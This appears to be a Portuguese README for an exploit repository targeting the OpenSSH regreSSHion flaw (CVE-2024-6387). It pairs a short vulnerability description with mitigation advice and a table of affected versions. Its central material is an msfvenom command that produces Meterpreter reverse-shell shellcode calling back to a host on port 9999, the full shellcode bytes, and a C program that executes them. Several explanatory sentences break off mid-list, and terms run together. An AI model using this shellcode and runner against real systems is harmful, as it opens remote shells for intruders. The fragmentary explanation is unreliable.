
EXPLOIT CVE-2024-6387
Ferramenta para análise, detecção e testes controlados da vulnerabilidade CVE-2024-6387 em servidores OpenSSH.
Este repositório é exclusivamente educativo.
Use-o apenas em:
- Laboratórios (HTB, TryHackMe)
- Ambientes próprios
- Auditorias com autorização explícita
⚠️ Escanear ou explorar sistemas sem permissão é ilegal.
Este conteúdo é voltado para defesa e aprendizado.
CVE-2024-6387, conhecida como regreSSHion, é uma regressão de uma vulnerabilidade previamente corrigida em 2006 (CVE-2006-5051).
Foi reintroduzida no OpenSSH 8.5p1 (2020) e permite:
Também existe uma vulnerabilidade relacionada:
A vulnerabilidade se baseia em uma race condition no manipulador de sinais do sshd.
LoginGraceTime (padrão: 120s)SIGALRMsyslog()malloc()free()Isso pode provocar:
🛡️ OpenBSD não é vulnerável graças a proteções adicionais implementadas desde 2001.
![]()
##⚙️ Uso python3 exploit.py
python3 scanner.py <IP> -p 22
```bash
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
🛠️ Mitigação e Remediação Recomenda-se seguir estes passos de maneira urgente, especialmente em ativos expostos à Internet : Atualização Imediata: Atualizar para OpenSSH 9.8p1 ou aplicar os patches específicos de cada distribuição . Configuração do sshd: Se a atualização não for viável, defina LoginGraceTime 0 no arquivo /etc/ssh/sshd_config . Advertência: Isso previne o RCE, mas expõe o servidor a uma negação de serviço (DoS) por esgotamento de conexões . Controle de Acesso: Limitar o acesso SSH por meio de controles baseados em rede (Firewalls/VPN) e segmentação de rede para evitar movimentos laterais .
Kaleth Corcho
Engenharia de Sistemas · WolvesTI · Bogotá, Colômbia
| Estado | Versões | Notas |
|---|
| ⚠️ Vulnerável | < 4.4p1 | Se não tiverem patch antigo |
| ✅ Seguro | 4.4p1 → < 8.5p1 | Corrigido previamente |
| ⚠️ Vulnerável | 8.5p1 → < 9.8p1 | Regressão presente |
| ✅ Corrigido | >= 9.8p1 | Patch oficial |